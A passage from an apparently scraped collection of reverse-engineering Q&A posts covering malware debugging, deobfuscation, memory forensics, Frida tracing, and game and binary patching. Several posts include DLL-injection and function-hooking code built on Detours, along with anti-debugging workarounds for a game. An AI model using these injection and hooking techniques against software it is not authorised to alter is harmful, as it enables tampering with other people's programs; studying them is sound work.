time I've reverse engineered anything native (I've decompiled java/c# a bunch) so any tips/advice are appreciated. +" +"['debugging', 'ollydbg', 'malware', 'winapi', 'thread']"," Title: Debugging Encrypted Malware with Multiple ThreadsBody: What is the best approach when debugging a multithreaded program that is yet to be encrypted? Where is the best place to put Breakpoints using Ollydbg? +" +"['disassembly', 'x86', 'c++']"," Title: Figure out with fopenBody: Can anyone explain, why fopen takes as argument- not a file name- according to code takes some off_6A5D8C: +
.text:00537F9F                 push    offset stru_6C4E40 ; FILE *
+.text:00537FA4                 call    _fclose
+.text:00537FA9                 push    offset aWt      ; "wt"
+.text:00537FAE                 push    offset off_6A5D8C ; char *
+.text:00537FB3                 call    _fopen
+.text:00537FB8                 mov     dword_83AE9C, eax
+
+and I tracked this off_6A5D8C it's pointed to label loc_4C554E: +
.data:006A5D8C ; char off_6A5D8C
+.data:006A5D8C off_6A5D8C      dd offset loc_4C554E    
+.data:006A5D90 ; char aWt[]
+.data:006A5D90 aWt             db 'wt',0
+
+
.text:004C554E loc_4C554E:
+.text:004C554E                 mov     esp, ebp
+.text:004C5550                 pop     ebp
+.text:004C5551                 retn    0Ch
+
+I am not expert in disassembling, may be it requires perform Undefine operation for loc_4C554E - and in this case it's looks like: +
.text:004C554E unk_4C554E      db  8Bh ; Ë             ; DATA XREF: .data:off_6A5D8Co
+.text:004C554F                 db 0E5h ; õ
+.text:004C5550                 db  5Dh ; ]
+.text:004C5551                 db 0C2h ; T
+.text:004C5552                 db  0Ch
+.text:004C5553                 db    0
+
+Seems it is string terminated with 0. How to turn this string (file name) to readable look? +Thanks in advance. +" +"['deobfuscation', 'dynamic-analysis', 'vms']"," Title: How can I practically approach VM-obfuscated code with symbolic analysis/execution?Body: Dealing with VM-obfuscated code and started learning about symbolic analysis but having a hard time wrapping my head around how to practically apply it to a problem. If someone can give me some pointers, I'd greatly appreciate it. + +On top of the confusion, the binary I am looking at right now doesn't just have one obfuscated VM loop but multiple which is apparently not uncommon when using commercial VM obfuscation. A short trace gave me over 4 structures that look like a VM loop. Debugging it showed me that the VM stack/context/registers used for pointers of each machine is different and random. So now, + +My understanding from it is something like this: + +All in all, I am really confused. I read a handful of papers on it but security researchers don't really like releasing tools/code samples so it's all just theoretical and abstract. +" +"['digital-forensics', 'memory-dump', 'heap']"," Title: How do I find Python data structures in Linux process memory using Volatility?Body: I have a Ubuntu 18.04 memory dump (entire RAM), and while I was acquiring it with LiME, I had a Python program running. Using Volatility, I want to recover its data structure values which are located in Python program process heap. The linux_proc_map plugin gave me the virtual addresses I should be looking through. +For now, I am trying to find out how CPython PyObjects appear in memory, but I'm not sure what values to look for, so scanning for specific values will be difficult. I only know the name of the data structure... +Has anyone else on here tried to recover program data structures from process memory? +" +"['ida', 'arm', 'patching', 'patch-reversing']"," Title: ARM7 32-bit Branch Offset CalculatorBody: I need to patch an arm7 program by replacing this fopen function by another function. +
.text:00018D68 52 D7 FF EB                       BL              fopen
+
+...
+
+.plt:0000EAB8 ; FILE *fopen(const char *filename, const char *modes)
+
+Do you know how to calculate the 24 bits that I need to write after EB? +The documentation is not very clear. I tried to find a Branch offset calculator but not found. +Thx, +" +['anti-debugging']," Title: Debugged process not break on breakpointBody: I launch a game process then I suspend the process and restore the hooks in ntdll.dll then I attach debugger to the process and resume the process. Next I see debugger catch the 0xC0000005(access violation) exception on thread [DbgUiRemoteBreakin] and did not break on any breakpoint I seted (I had set a break point on [DbgUiRemoteBreakin]). And can not single step debug. So is there any infomation about how to solve it here? +" +"['ida', 'dll', 'patch-reversing', 'seh']"," Title: Can I reverse engineer a DLL file and add SEH or some error handing codes to it?Body: I am using some DLL files in my Java application using JNI library. +The dlls are not written by me and I do not have access to their source codes. They are so buggy and throw lots of exceptions. Needless to say that they are making my java application unstable since unhandled exceptions in native side crash the java application. +I was thinking to reverse engineer the dll files and add some try and catch clause there or maybe just find the culprit line and add some prevention there. +The exceptions are mainly due to dereferencing a null pointer which I believe I can fix them by a couple of instructions (cmp and jmp) +So what I am trying to ask are as follow: +
    +
  1. Is it practically doable?
  2. +
  3. Is IDA the right tool to do so?
  4. +
+Edit : +Another solution that I am guessing could fix the problem is to write a new native class and wrap all native functions that i am using in the new functions with error handling. But I have a lot of native functions and this solution could be tedious and cumbersome. So, still, reverse engineering DLLs is my number one solution. Comments are really welcome. Please share your views. +" +"['disassembly', 'assembly', 'dll-injection']"," Title: dll injection (assembly code)Body: I need some tip to undrestand what is the best way to execute external code from DLL or command line. +I like to add the force feedback support to different games that not support it. +I can write a DLL or a commnad line exe that execute the FFB. The problem is how I call these function from the game. +For the moment I have disassebled one game with IDA and found the point to put the call. +I don't have any experience in assembly. So I'am not sure if I'am in the right way. +There are some tool like: wininject so I was think to use it to add the dll dependency to my exe game. +After I need to do the call of my function inside the DLL in assembly (ex. exectute_ffb(par1) ), but I don't known the code to do the call. +Here the screenshot about the call. + + +
int __cdecl sub_43AC70(char *a1, int a2)
+{
+  call my_function(a1) from mylibrary.dll
+
+  int i; // [esp+0h] [ebp-4h]
+
+  for ( i = sub_43BC50(); i; i = *(_DWORD *)i )
+  {
+    if ( *(_DWORD *)(i + 88) == a2 && (!a1 || !stricmp((const char *)(i + 4), a1)) )
+      return i;
+  }
+  return 0;
+
+Can you help me please ? +" +"['binary-analysis', 'android']"," Title: Getting android app from device for reversing - what if there are multiple apks?Body: For analyzing and reversing android apps, where the target app is installed on an android phone, usually there is a base.apk file on the device, and there are various ways to find this apk file on the device and adb pull it off the device. +For example, on stackoverflow, the answer by yojimbo with 1500+ upvotes, gives the following 3 steps: +
    +
  1. Determine the package name of the app, e.g. "com.example.someapp". Using adb shell pm list packages.
  2. +
  3. Get the full path name of the APK file for the desired package. Using adb shell pm path com.example.someapp
  4. +
  5. Using the full path name from Step 2, pull the APK file from the Android device to the development box. Using adb pull /data/app/com.example.someapp-2.apk path/to/desired/destination
  6. +
+Sounds simple enough, and it has been so far on many apps. Then, today, I came across an app where step 2 returned not 1 but 3 apk files: +
adb shell pm path the.app.package
+package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/base.apk
+package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/split_config.arm64_v8a.apk
+package:/data/app/the.app.package-che0LFSLF9su1gFiz9cVbw==/split_config.xxxhdpi.apk
+
+where I have replaced the actual package name with the.app.package. I'm guessing that there are parts of the code that are specific for arm64_v8a and/or xxxhdpi displays, and these are separated out into the split_config apk files? How would one begin in analyzing such apps where there's not just a base.apk but some of these additional apk files as well? +" +"['debugging', 'x86', 'android', 'arm', 'frida']"," Title: Instruction trace using frida in android emulatorBody: i have a emulator named "Ldplayer" in my windows os and I'm trying to log all instructions executed by the app that uses ARM JNI libraries. basically, the app is running in an x86 emulator and only has arm JNI Libs, so emulation is used for the ARM Libs. +
import frida, sys
+ss = """
+Java.perform(function() {
+    const System = Java.use('java.lang.System');
+    const Runtime = Java.use('java.lang.Runtime');
+    const VMStack = Java.use('dalvik.system.VMStack');
+
+    System.loadLibrary.implementation = function(library) {
+        try {
+            console.log('System.loadLibrary("' + library + '")');
+            const loaded = Runtime.getRuntime().loadLibrary0(VMStack.getCallingClassLoader(), library);
+            return loaded;
+        } catch(ex) {
+            console.log(ex);
+        }
+    };
+    
+    System.load.implementation = function(library) {
+        try {
+            console.log('System.load("' + library + '")');
+            const loaded = Runtime.getRuntime().load0(VMStack.getCallingClassLoader(), library);
+            return loaded;
+        } catch(ex) {
+            console.log(ex);
+        }
+    };
+});
+"""
+device = frida.get_device_manager().add_remote_device('127.0.0.1:27042')
+pid = device.spawn(["com.testapp"])
+session = device.attach(pid)
+script = session.create_script(ss)
+script.load()
+device.resume(pid)
+sys.stdin.read()
+
+this code list all libraries loaded when the app starts, but when i do +Module.findBaseAddress('libtest.so'); +it always returns null, in the end of the day i just want to log all the instructions being executed by the process so i can get the faulty instruction and search it up in the ida to patch it. +if there's any other tool i can achieve the same than please suggest me also, process don't support attaching a debugger! +" +"['c', 'asm']"," Title: Intercepting game function with C and Assembler, game unstable with minimum changesBody: I am reverse engeneering a really old game (Mu 97d) for the sake of adding new things to the game. +What I am doing is intercepting the game with a DLL, and in the DLL do the calculations so I can add the new things. +I have this code that intercepts an 'if' statement, and I redirect it to my own function - based on the input - my function returns true or false. +C code: +
/* Called on player load - 12 bytes */
+*(BYTE*)(0x004798CD  + 0) = 0x50;  /* PUSH EAX */
+*(BYTE*)(0x004798CD  + 1) = 0xE8;  /* CALL */
+*(DWORD*)(0x004798CD + 2) = (DWORD)&Unk11 - (0x004798CD + 6); /* FUNCTION TO CALL */
+*(BYTE*)(0x004798CD  + 6) = 0x85;  /* TEST */
+*(BYTE*)(0x004798CD  + 7) = 0xC0;  /* EAX, EAX */
+*(BYTE*)(0x004798CD  + 8) = 0x58;  /* POP EAX */
+*(BYTE*)(0x004798CD  + 9) = 0x74;  /* JE */
+*(BYTE*)(0x004798CD  + 10) = 0x15;  /* 15 */
+*(BYTE*)(0x004798CD  + 11) = 0x90;  /* NOP */
+
+ASM part that I am intercepting +
[...]
+004798A1  |.  81E7 FF000000 AND EDI,000000FF
+004798A7  |.  8D0440        LEA EAX,[EAX*2+EAX]
+    004798AA  |.  C1E0 02       SHL EAX,2
+004798AD  |.  99            CDQ
+004798AE  |.  F7FF          IDIV EDI
+004798B0  |.  8BD8          MOV EBX,EAX
+004798B2  |.  B8 67666666   MOV EAX,66666667
+004798B7  |.  F7EF          IMUL EDI
+004798B9  |.  D1FA          SAR EDX,1
+004798BB  |.  8BC2          MOV EAX,EDX
+004798BD      03D3          ADD EDX,EBX
+004798BF      C1E8 1F       SHR EAX,1F
+004798C2      8D5410 04     LEA EDX,[EDX+EAX+4]
+004798C6      66:0156 12    ADD WORD PTR DS:[ESI+12],DX
+004798CA      66:8B06       MOV AX,WORD PTR DS:[ESI]
+004798CD      66:3D 8301    CMP AX,183 ]---------------------- FROM HERE
+004798D1      7C 1A         JL SHORT 004798ED
+004798D3      66:3D 8601    CMP AX,186
+004798D7      7F 14         JG SHORT 004798ED ]--------------- TO HERE
+004798D9      83F9 09       CMP ECX,9
+004798DC      B8 09000000   MOV EAX,9
+004798E1      7F 02         JG SHORT 004798E5
+004798E3      8BC1          MOV EAX,ECX
+004798E5      03C0          ADD EAX,EAX
+004798E7      66:0146 12    ADD WORD PTR DS:[ESI+12],AX
+004798EB      EB 13         JMP SHORT 00479900
+004798ED      83F9 09       CMP ECX,9
+004798F0  |.  B8 09000000   MOV EAX,9
+004798F5  |.  7F 02         JG SHORT 004798F9
+004798F7  |.  8BC1          MOV EAX,ECX
+004798F9  |>  8D1440        LEA EDX,[EAX*2+EAX]
+004798FC  |.  66:0156 12    ADD WORD PTR DS:[ESI+12],DX
+00479900  |>  8D51 F7       LEA EDX,[ECX-9]
+00479903  |.  33C0          XOR EAX,EAX
+00479905  |.  85D2          TEST EDX,EDX
+00479907  |.  7E 1D         JLE SHORT 00479926
+00479909  |.  BB 04000000   MOV EBX,4
+0047990E  |.  BF 05000000   MOV EDI,5
+00479913  |>  85C0          /TEST EAX,EAX
+00479915  |.  75 06         |JNE SHORT 0047991D
+00479917  |.  66:015E 12    |ADD WORD PTR DS:[ESI+12],BX
+0047991B  |.  EB 04         |JMP SHORT 00479921
+0047991D  |>  66:017E 12    |ADD WORD PTR DS:[ESI+12],DI
+00479921  |>  40            |INC EAX
+[...]
+
+This is the code from my DLL, the function right now behaves as the game would do. +
BOOL Unk11(short int a1)
+{
+    if((a1 >= 387 && a1 <= 390))
+        return TRUE;
+    return FALSE;
+}
+
+But, if I add a second condition to the IF: +
BOOL Unk11(short int a1)
+{
+    if((a1 >= 387 && a1 <= 390) || (a1 >= 404 && a1 <= 415))
+        return TRUE;
+    return FALSE;
+}
+
+The game becomes unstable, even with a simple debug function that writes to a log file, the game becomes unstable, example: +
BOOL Unk11(short int a1)
+{
+    Debug("Hello");
+    if((a1 >= 387 && a1 <= 390))
+        return TRUE;
+    return FALSE;
+}
+
+With Ollydbg I executed the game, and checked the ASM part of my function, and this is what I've got: +
CPU Disasm
+Address   Hex dump          Command                                  Comments
+7C721B30    55              PUSH EBP
+7C721B31    8BEC            MOV EBP,ESP
+7C721B33    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
+7C721B36    05 7DFEFFFF     ADD EAX,-183
+7C721B3B    66:B9 0300      MOV CX,3
+7C721B3F    66:3BC8         CMP CX,AX
+7C721B42    1BC0            SBB EAX,EAX
+7C721B44    40              INC EAX
+7C721B45    5D              POP EBP
+7C721B46    C3              RETN
+
+Why the ADD EAX is -183? Shouldn't it be 183? Where is the '<= 390' in this code? +I tried with different calling conventions, but I get the same behaviour - game unstable. +Why is the game unstable even with a minimum game? The game is old, 2003 or so - could it be a compatibility issue with my DLL? I am using Visual Studio 2010. +I hope this is enough info, if not, say so! +Thanks! +" +"['disassembly', 'pe', 'entropy']"," Title: Best way to find the entropy of an EXE file?Body: I want to write a script to extract the entropy of each sections of an EXE file. What is the best tool that I can use to do this? +I tried Ghidra but it doesn't have an entropy API which I can use. +" +"['windows', 'malware', '.net', 'c#', 'dnspy']"," Title: How to know where a sequences of bytes are used in a .NET application with Dnspy?Body: There are a sequence of bytes that i need to find out where are used in dnspy +i tried going to hex editor and found the bytes, but right clicking and saying go to code or structure or follow reference wont work +how can i know where these bytes are used if there is no reference? is it possible to set breakpoint on location access just like IDA, or any easier way? +The sequence of bytes are right before the IAT in the .text section, around 0x70 bytes after this string which seems to be in a lot of .net files : +Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator +" +['networking']," Title: Spoofing DNS to intercept iot trafficBody: I've got a bunch of IoT devices that can only be controlled through the Internet, as all their traffic goes through their own "cloud" server. I want to reclaim full control and low latency on my AC unit. +The device doesn't offer a way to configure a proxy. +I am considering the following: + +This is going to work only if the device is making http requests to a domain name (and not if it is making them directly to an ip adress). Https could be an issue too. +Does any software exist already, with the kind of MITM features I am looking for: copy and dump the http traffic? Anything simpler than the above? +" +"['ida', 'windows', 'idapython', 'script']"," Title: How to run another IDA script using IDApython?Body: I'm using IDA batch scripting to run a script on a dataset of malware +the problem is i need to run the VB6 idc script after auto analysis is finished, and wait for it to finish and find all the functions, then run my own script (my script is in IDApython and VB6 script is a idc file) +to manually run this VB6 script i go to file and choose script file ( there is no menu button or shortcut added) and wait for it to finish and find all VB6 functions +so what is the easiest way to achieve this? can i execute a idc script from my IDApython script and wait for it to finish? +" +"['ida', 'deobfuscation', 'xor']"," Title: Decode xor data in IDABody: I have code that looks like this: +
byte_100031BA4 = v41;
+byte_100031BA5 ^= 0x3Eu;
+byte_100031BA6 ^= 0x47u;
+LOBYTE(a1) = -9;
+byte_100031BA7 ^= 0xF7u;
+byte_100031BA8 ^= 0xA9u;
+byte_100031BA9 ^= 0xE8u;
+byte_100031BAA ^= 0x5Eu;
+byte_100031BAB ^= 0x7Fu;
+byte_100031BAC ^= 0x33u;
+LOBYTE(a2) = 116;
+byte_100031BAD ^= 0x74u;
+byte_100031BAE ^= 0x78u;
+byte_100031BAF ^= 0xFAu;
+xmmword_100031B80 = (__int128)_mm_xor_ps((__m128)xmmword_100031B80, (__m128)xmmword_10002E1C0);
+byte_100031B90 ^= 0x8Bu;
+byte_100031B92 ^= 0xD5u;
+byte_100031B93 ^= 0x53u;
+byte_100031B94 ^= 0x9Bu;
+byte_100031B95 ^= 0x16u;
+byte_100031B96 ^= 0x18u;
+
+I want to use IDA Python to run on each line of code and if it starts with 'byte_' and has '^=' in it then do for me the or and show the 'decrypted value' in a comment. +How can I do this? +" +"['c++', 'function-hooking', 'dll-injection']"," Title: DLL injection (Failed to inject)Body: I have found this complete and easy example to test the function hook: +https://github.com/Zer0Mem0ry/Detour +
#include <Windows.h>
+#include <iostream>
+
+#include "detours.h"
+#include "sigscan.h"
+
+// this is the function that the program
+// will jump to when sum() is called in the original program (testprogram.exe)
+
+DWORD AddressOfSum = 0;
+// template for the original function
+typedef int(*sum)(int x, int y); 
+
+int HookSum(int x, int y)
+{
+    // manipulate the arguments
+    x += 500;
+    y += 500;
+
+    // we manipulate the arguments here and then
+    // redirect the program to the original function
+
+    std::cout << "your program has been hacked! " << std::endl;
+    sum originalSum = (sum)AddressOfSum;
+    return originalSum(x, y);
+}
+
+BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
+{
+    // store the address of sum() in testprogram.exe here.
+
+    if (dwReason == DLL_PROCESS_ATTACH)
+    {
+        // We will use signature scanning to find the function that we want to hook
+        // we will find the function in IDA pro and create a signature from it:
+
+        SigScan Scanner;
+
+        // testprogram.exe is the name of the main module in our target process
+        AddressOfSum = Scanner.FindPattern("testprogram.exe", "\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C", "xxxxxxxxx");
+
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+
+        // this will hook the function
+        DetourAttach(&(LPVOID&)AddressOfSum, &HookSum);
+
+        DetourTransactionCommit();
+    }
+    else if (dwReason == DLL_PROCESS_DETACH)
+    {
+        // unhook
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+
+        // this will hook the function
+        DetourDetach(&(LPVOID&)AddressOfSum, &HookSum);
+
+        DetourTransactionCommit();
+    }
+    return TRUE;
+}
+
+I have tried to inject this DLL to the "testprogram.exe" (without change nothing) using cheat engine, extreme inject, etc.. with the some result "failed to inject". +I need to change "xxxxxxxxx" before inject the DLL ? +Can you help me please ? +Best Regards +" +"['disassembly', 'register', 'cheat-engine']"," Title: How can I move an integer number into a XMM register with Cheat Engine?Body: First off, I need to clear out that I'm a total noob on this, and I have tried reading and understanding documentation about this assembly stuff on the internet, but almost all I found, was meant for advanced people who knew about this. +So, what I have tried so far, is something like "movaps XMM6, 9999999" (from the original instruction "movaps XMM6,XMM1"), but it won't work when I try to create a Cheat Engine Table, it tells me +
+Error in line 12 (movaps XMM6, 9999999): This instruction can't be compiled. +
+I'm sorry if I'm not specific enough, I would appreciate someone to further explain me how registers like these work, and how to exchange values between those and maybe other variables? +I did read the thread about sending a integer into an XMM using another register, but I didn't catch a thing out of that, so I wrote this thread. I'm looking forward to learning about this... +" +"['x86', 'linux', 'android', 'frida']"," Title: hooking libhoudini on x86 emulatorBody: I'm trying to hook libhoudini to debug an application instruction by instruction using frida but frida not supports it i need a example on how can this be achieved! +I'm using a x86 emulator to run arm JNI libs which is ofcource translated to x86 by libhoudini problem is that i can't see those instructions when i hook the app +look at this +" +"['windows', 'malware']"," Title: How are AutoIT variable names stored after compiling it to a executable?Body: I need to write a yara rule for a autoit malware (the binary itself not the decompiled script) +As far as i know the actual script is in the resource section in the RCData, but how can i find the bytes that represent the variable names? +for example lets say there is a variable $MyObviousVariable in the script and i want to make a yara rule for it in the binary, where can i find this variable NAME in the binary? is it inside the RCData? +" +"['disassembly', 'windows', 'assembly', 'x86-64']"," Title: Where do arguments 5 and 6 go in this Microsoft x64 function call?Body: I'm disassembling a working-as-expected compiled C program (MS/Windows x64, MinGW gcc 10.1.0). In the main function, I have the following call which passes 6 arguments to the function DotProduct: +
...
+// void** m3 [rbp-0x50] = DotProduct(ptr, ptr2, 3, 2, 2, 3);
+  401b9f:   48 8b 55 b8             mov    rdx,QWORD PTR [rbp-0x48] // arg2 = m2
+  401ba3:   48 8b 45 c0             mov    rax,QWORD PTR [rbp-0x40] // arg1 = m1
+  401ba7:   c7 44 24 28 03 00 00    mov    DWORD PTR [rsp+0x28],0x3 // arg6 = 3   (+40) <- Δ main rsp
+  401bae:   00
+  401baf:   c7 44 24 20 02 00 00    mov    DWORD PTR [rsp+0x20],0x2 // arg5 = 2   (+32)
+  401bb6:   00
+  401bb7:   41 b9 02 00 00 00       mov    r9d,0x2                  // arg4 = 2
+  401bbd:   41 b8 03 00 00 00       mov    r8d,0x3                  // arg3 = 3
+  401bc3:   48 89 c1                mov    rcx,rax                  // arg1 = m1
+  401bc6:   e8 34 fc ff ff          call   4017ff <DotProduct>      // DotProduct(m1, m2, 3, 2, 2, 3);
+  401bcb:   48 89 45 b0             mov    QWORD PTR [rbp-0x50],rax // void** m3 [rbp-0x50] = returned
+...
+
+Note that arg5 and arg6 are placed into [rsp+0x20] and [rsp+0x28]. +See what happens when DotProduct is called: +
00000000004017ff <DotProduct>:
+  4017ff:   55                      push   rbp
+  401800:   53                      push   rbx
+  401801:   48 83 ec 48             sub    rsp,0x48       // (-72)
+  401805:   48 8d ac 24 80 00 00    lea    rbp,[rsp+0x80] // (-72+128) => (+56)
+
+The rbp should be at -0x48+0x80 relative to main's rsp, which simplifies to +0x38 (+56, Δmain rsp). The stack pointer decreased 72 bytes, and the base pointer was placed 128 bytes above that (so 56 bytes above the previous stack pointer location). Next, DotProduct loads the first four arguments from their registers: +
  40180d:   48 89 4d e0             mov    QWORD PTR [rbp-0x20],rcx
+  401811:   48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx // (rbp-24) => (+56-24) => (+32) !
+  401815:   44 89 45 f0             mov    DWORD PTR [rbp-0x10],r8d // (rbp-16) => (+56-16) => (+40) !
+  401819:   44 89 4d f8             mov    DWORD PTR [rbp-0x8],r9d
+
+Wait! How are rdx and r8d loaded into these memory locations? Aren't they occupied by arguments 5 and 6? What happened? +Right after that, we have this: +
  40181d:   8b 45 00                mov    eax,DWORD PTR [rbp+0x0]
+
+What's going on here? [rbp+0x0] hasn't been initialized in this function, so what's in this memory location? Where did arguments 5 and 6 go? +" +"['windows', 'binary-analysis', 'pe', 'windows-10', 'pe32']"," Title: PE Format - How can I delete IMAGE_IAT_DIRECTORY and the app still runs fine?Body: I’m doing a small research regarding PE files and while I drilled every related question or the documentation itself I couldn’t explain this issue. +Why can I go to CFF explorer or some other PE editing software and nullify the IMAGE_IAT_DIRECTORY in the OptionalHeader and the program will still run fine? +As far as I understood, the loader will iterate the array of PIMAGE_THUNK_DATA pointed by OriginalFirstThunk, will parse the symbol, and then will overwrite the memory pointed by FirstThunk with the corresponding function address. +I also understood that the IMAGE_IAT_DIRECTORY Will serve as a container for these function pointer arrays, for each corresponding FirstThunk in each IMAGE_IMPORT_DESCRIPTOR. +When is it needed for an IAT directory to exist? Can it be that a lack of this directory will prevent an file from starting? +Thanks! +" +"['c++', 'function-hooking', 'dll-injection']"," Title: best approach to hook functionBody: I have found 2 source code example to hook a function. +Example1: +
#include "detours.h"
+#include "sigscan.h"
+
+// this is the function that the program
+// will jump to when sum() is called in the original program (testprogram.exe)
+
+DWORD AddressOfSum = 0;
+// template for the original function
+typedef int(*sum)(int x, int y); 
+
+int HookSum(int x, int y)
+{
+    // manipulate the arguments
+    x += 500;
+    y += 500;
+
+    // we manipulate the arguments here and then
+    // redirect the program to the original function
+
+    std::cout << "your program has been hacked! " << std::endl;
+    sum originalSum = (sum)AddressOfSum;
+    return originalSum(x, y);
+}
+
+BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
+{
+    // store the address of sum() in testprogram.exe here.
+
+    if (dwReason == DLL_PROCESS_ATTACH)
+    {
+        // We will use signature scanning to find the function that we want to hook
+        // we will find the function in IDA pro and create a signature from it:
+
+        SigScan Scanner;
+
+        // testprogram.exe is the name of the main module in our target process
+        AddressOfSum = Scanner.FindPattern("testprogram.exe", "\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C", "xxxxxxxxx");
+
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+
+        // this will hook the function
+        DetourAttach(&(LPVOID&)AddressOfSum, &HookSum);
+
+        DetourTransactionCommit();
+    }
+    else if (dwReason == DLL_PROCESS_DETACH)
+    {
+        // unhook
+        DetourTransactionBegin();
+        DetourUpdateThread(GetCurrentThread());
+
+        // this will hook the function
+        DetourDetach(&(LPVOID&)AddressOfSum, &HookSum);
+
+        DetourTransactionCommit();
+    }
+    return TRUE;
+}
+
+Example2: +
#include <windows.h>
+#include <detours.h>
+#include <iostream>
+ 
+#define ADDRESS 0x40133C    //This is the address where our targeted function begins
+double (__cdecl* originalFunction)(double); //Pointer to the function we are going to hook, must be declared same as original(returns double and takes double as argument)
+ 
+ 
+ 
+/*Our modified function code that is going to be executed
+before continuing to the code of original function*/
+double hookedFunction(double a)  
+{                                 
+std::cout << "original function: argument = "<< a << std::endl; //we can access arguments passed to original function
+a=50.1337;                                                        //Modify arguments
+return originalFunction(a);                                        //before returning to normal execution of function
+}
+ 
+BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)
+{
+switch (dwReason)
+{
+case DLL_PROCESS_ATTACH:
+originalFunction = (double(__cdecl*)(double))DetourFunction((PBYTE)ADDRESS, (PBYTE)hookedFunction); //Magic
+break;
+}
+return TRUE;
+}
+
+And I ask what is best easy and flexible approach to hook functions. +My consideration: +
    +
  1. Example 1: is tested and worked.
  2. +
  3. Example 1: is a filename dependent "testprogram.exe". So if I change the exe file name I need to change the source code.
  4. +
  5. Example 1: "\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C" this is the address point format and it is not easy to decode like example 2: "0x40133C" (more easy)
  6. +
  7. Example 2: don't work because "detourFunction" is deprecated. Now there is "detourAttach" but I don't known how migrate to it in this case.
  8. +
  9. Example 2: is more easy but old. I don't known if will work in the future (32 or 64 bit)...
  10. +
+Can you help me please to take a decision or suggest me a better/easier solution ? +" +['encodings']," Title: What is the URL format for Google Trends?Body: When you search for the search term Tesla or AOL you get the following URLs: +https://trends.google.com/trends/explore?geo=US&q=Tesla + +But, for the automobile maker, you get: +https://trends.google.com/trends/explore?geo=US&q=%2Fm%2F0j6n6s8 + +So what is the %2Fm%2F0j6n6s8 part? I know it URL decodes to /m/0j6n6s8 but how is it being encoded?? +One more example of AOL (search term) vs. AOL (company) +https://trends.google.com/trends/explore?geo=US&q=AOL +https://trends.google.com/trends/explore?geo=US&q=%2Fm%2F0plw +" +"['disassembly', 'assembly', 'disassemblers']"," Title: How do disassemblers work?Body: I have 2 questions regarding this, but feel free to elaborate more if you want to, I'm really interested in this topic: +
    +
  1. Do they really just read byte by byte until they get a valid instruction? How do they know if it's a valid instruction and which it is? I don't imagine they just had every single instruction stored in a table as that'd be very inefficient. +
  2. +
  3. Found this source online that I think does this in around 700 lines (https://github.com/btbd/disassembler/blob/master/disassembler.c). If something like this is possible, why are there others that have a lot more code and logic? +
  4. +
+Thanks! +" +['binary']," Title: Reverse engineering unknown binary data of .Factory file for Simplify3DBody: To keep a long story short I'm in the process of trying to reverse engineer the .factory format this program called Simplify3D which is a 3D printing software slicer. I love the software but everything is closed source and I want a way for me to somewhat generate these files myself for automation purposes. +I did a small STL file into the software and exported this. If anyone knows anything related to what possible encryption was used and compression would be helpful. I tried looking at it myself and I feel some sort of encryption is used for sure as when I changed one parameter a lot of data seemed to change. Not sure as far as compression goes though. +Hex Data: +
00 00 00 26 00 2F 00 4D 00 6F 00 64 00 65 00 6C
+00 73 00 2F 00 4D 00 6F 00 64 00 65 00 6C 00 34
+00 2E 00 69 00 6E 00 66 00 6F 00 00 00 9E 00 00
+01 4C 78 9C B5 4C BD 0A C2 30 10 DE 03 79 0E 97
+10 DA A6 4A EB 5A DD D4 C5 BA 05 E4 B0 A9 06 63
+12 92 13 7C 7C D3 5A 84 2E 6E DE F2 DD F7 DB 6B
+A3 2C 3C 14 DB DA EE DC 80 A7 A4 4F 8A 07 BC B1
+66 2D 4F 51 85 28 DB A0 AD AE 54 27 37 2A DE D1
+79 79 6C 77 8B 28 A7 06 4F 8C 92 6B 70 4F 7F 18
+86 28 C1 00 36 1A 40 C5 F2 A2 E6 A2 12 25 CB B3
+25 5F 89 BA 60 25 CF D2 51 12 2F 60 92 3F B2 39
+50 12 1C 0E E5 EC A3 CE 60 34 F7 80 41 BF A6 F8
+D7 FA FD FC 3F 4C C9 1B 37 31 50 CC 00 00 00 24
+00 2F 00 4D 00 6F 00 64 00 65 00 6C 00 73 00 2F
+00 4D 00 6F 00 64 00 65 00 6C 00 34 00 2E 00 73
+00 74 00 6C 00 00 03 DE 00 00 14 A4 78 9C 95 98
+CD 6B 53 41 10 C0 17 5A 7A 55 BC AA 90 7F C0 D6
+AF 7A 10 9A 17 9E DA A3 20 5E 55 A8 68 68 C0 62
+15 B1 2D 48 7D D0 5E 3C 58 A1 B7 1E 3C 08 FE 03
+6D 6F 82 8D 15 8B 96 D2 34 35 46 7A D1 43 0F 2A
+15 B5 A8 17 41 8C 6F B3 99 B7 33 BB 33 DB E4 9D
+86 CC FC F2 66 F7 CD CE C7 9E 1B 1F BD 79 FB CE
+F5 6B B9 AB 13 B9 8B A5 91 D1 1B A5 E2 C4 89 B3
+B9 93 BD C7 7A 8F E7 8E E4 3A 7E 86 95 7E 92 B2
+6A 3D A5 ED 7F 71 B1 F8 31 06 B9 D1 A8 67 F2 AD
+DD 7A 5C AD CE E7 C3 04 58 D9 DF 93 82 4F 60 AB
+FC CB 7A 5C 38 DC 17 85 09 D0 B8 C4 C6 5D ED 61
+12 85 09 B0 D2 F2 C8 FE 7A FC EC E1 53 86 00 8D
+96 4F CD BE 8B EF 1D 7C D5 81 57 98 68 34 6A F1
+FB C5 0F 7B 78 05 56 5A 3E 7D A5 16 2F 3C DA 65
+88 95 27 D5 A6 C6 10 1B 19 31 37 B7 22 78 05 1A
+97 58 1D D9 68 7A 18 26 C0 4A CB B3 3F 2A C2 5E
+81 BF 5A AE CE BF 8D 2F 1D FA DB C1 5E 61 A2 D1
+D8 D4 D1 B3 07 01 56 9D AC DC 12 7D E7 37 9B EF
+0B 13 60 85 77 DD 27 60 4F B4 7C F4 41 25 8B AB
+F6 BC C2 C4 F2 40 A5 19 C7 61 02 AC EC EF E6 E1
+08 23 63 62 66 5F 45 38 B5 98 00 2B B3 6F EB D9
